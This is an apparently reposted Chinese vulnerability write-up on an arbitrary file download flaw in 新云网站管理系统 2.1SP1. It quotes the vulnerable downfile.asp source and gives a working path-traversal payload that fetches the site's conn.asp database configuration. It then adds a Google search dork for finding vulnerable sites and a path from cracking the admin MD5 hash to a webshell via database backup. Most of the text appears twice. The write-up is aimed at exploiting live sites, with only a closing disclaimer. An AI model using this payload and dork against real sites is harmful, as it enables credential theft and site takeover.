新云网站管理系统2.1SP1任意文件下载漏洞 's

admin 2017年4月19日11:50:51评论281 views字数 1716阅读5分43秒阅读模式
摘要

文章首发 nsp内部论坛
信息来源:至尊宝的成长之路 FireFox's blogflash/downfile.asp过滤不严导致可下载任意文件。
<%
Dim url,strUrl,strPath
url = Replace(Replace(Replace(Request("url"), "'", ""), "%", ""), "/", "/")
//首先先进行一些字符的替换,'换成空,%也换成空,/换成/

If Len(url) > 3 Then
If Left(url,1) = "/" Then
Response.Redirect url //如果用户提交的url第一个字符是/,那直接转向url
End If
If Left(url,3) = "../" Then
Response.Redirect url //同上,意思就是不给你用../跳转目录
End If
strUrl = Left(url,10)
If InStr(strUrl, "://") > 0 Then //这个,汗·~~://不懂干什么用的
Response.Redirect url
End If
If InStr(url, "/") > 0 Then
strPath = Server.MapPath(".") & "/" & url //补充物理地址了
strPath = Replace(strPath, "/", "/") //替换/为/呢
Call downThisFile(strPath) //HOHO~~开始下载了
Else
Response.Redirect url
End If
End If

Sub downThisFile(thePath)
Response.Clear
On Error Resume Next
Dim stream, fileName, fileContentType

fileName = split(thePath,"/")(UBound(split(thePath,"/")))
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(thePath)
Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName
Response.AddHeader "Content-Length", stream.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing
End Sub
%>
似乎是url都处理掉了,是不可能用../跳转目录的。但是,他判断../很奇怪,就判断url的前三个字符而已。所以,嘿嘿!前三个字符不能是../,难道我后面不能是吗?于是构造一下url参数为"uploadfile/../../conn.asp",于是总体的地址就是http://127.0.0.1/flash/downfile.asp?url=uploadfile/../../conn.asp 。嘿嘿~~conn.asp文件下载下来了吧。
这套整站程序用的人还是挺多的,我甚至看到有两个黑客类的网站使用它。但是不约而同的是这个漏洞都存在。可以说,这个漏洞是通杀现在网上所有使用新云的系统的,连10.18出来的sp1都没补上。但是,很多大站都是使用sql版本的,而且主机又屏蔽了1433端口,于是,利用就成了问题。对于access 的系统,只要后台没改名,而且md5密码可以通过www.cmd5.com来查询,后台又有着数据库备份的功能,获得webshell是不成问题的。

文章首发 nsp内部论坛
信息来源:至尊宝的成长之路 FireFox's blog

flash/downfile.asp过滤不严导致可下载任意文件。
<%
Dim url,strUrl,strPath
url = Replace(Replace(Replace(Request("url"), "'", ""), "%", ""), "/", "/")
//首先先进行一些字符的替换,'换成空,%也换成空,/换成/

If Len(url) > 3 Then
If Left(url,1) = "/" Then
Response.Redirect url //如果用户提交的url第一个字符是/,那直接转向url
End If
If Left(url,3) = "../" Then
Response.Redirect url //同上,意思就是不给你用../跳转目录
End If
strUrl = Left(url,10)
If InStr(strUrl, "://") > 0 Then //这个,汗·~~://不懂干什么用的
Response.Redirect url
End If
If InStr(url, "/") > 0 Then
strPath = Server.MapPath(".") & "/" & url //补充物理地址了
strPath = Replace(strPath, "/", "/") //替换/为/呢
Call downThisFile(strPath) //HOHO~~开始下载了
Else
Response.Redirect url
End If
End If

Sub downThisFile(thePath)
Response.Clear
On Error Resume Next
Dim stream, fileName, fileContentType

fileName = split(thePath,"/")(UBound(split(thePath,"/")))
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(thePath)
Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName
Response.AddHeader "Content-Length", stream.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing
End Sub
%>

似乎是url都处理掉了,是不可能用../跳转目录的。但是,他判断../很奇怪,就判断url的前三个字符而已。所以,嘿嘿!前三个字符不能是../,难道我后面不能是吗?于是构造一下url参数为"uploadfile/../../conn.asp",于是总体的地址就是http://127.0.0.1/flash/downfile.asp?url=uploadfile/../../conn.asp 。嘿嘿~~conn.asp文件下载下来了吧。
这套整站程序用的人还是挺多的,我甚至看到有两个黑客类的网站使用它。但是不约而同的是这个漏洞都存在。可以说,这个漏洞是通杀现在网上所有使用新云的系统的,连10.18出来的sp1都没补上。但是,很多大站都是使用sql版本的,而且主机又屏蔽了1433端口,于是,利用就成了问题。对于access 的系统,只要后台没改名,而且md5密码可以通过www.cmd5.com来查询,后台又有着数据库备份的功能,获得webshell是不成问题的。

ACCESS和SQL版通吃。
Google搜索关键字 "关于本站 – 网站帮助 – 广告合作 – 下载声明 – 友情连接 – 网站地图 – 管理登录"
把flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录。就可以下载conn.asp,以源码,软件等下载站居多。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月19日11:50:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   新云网站管理系统2.1SP1任意文件下载漏洞 'shttps://cn-sec.com/archives/48937.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息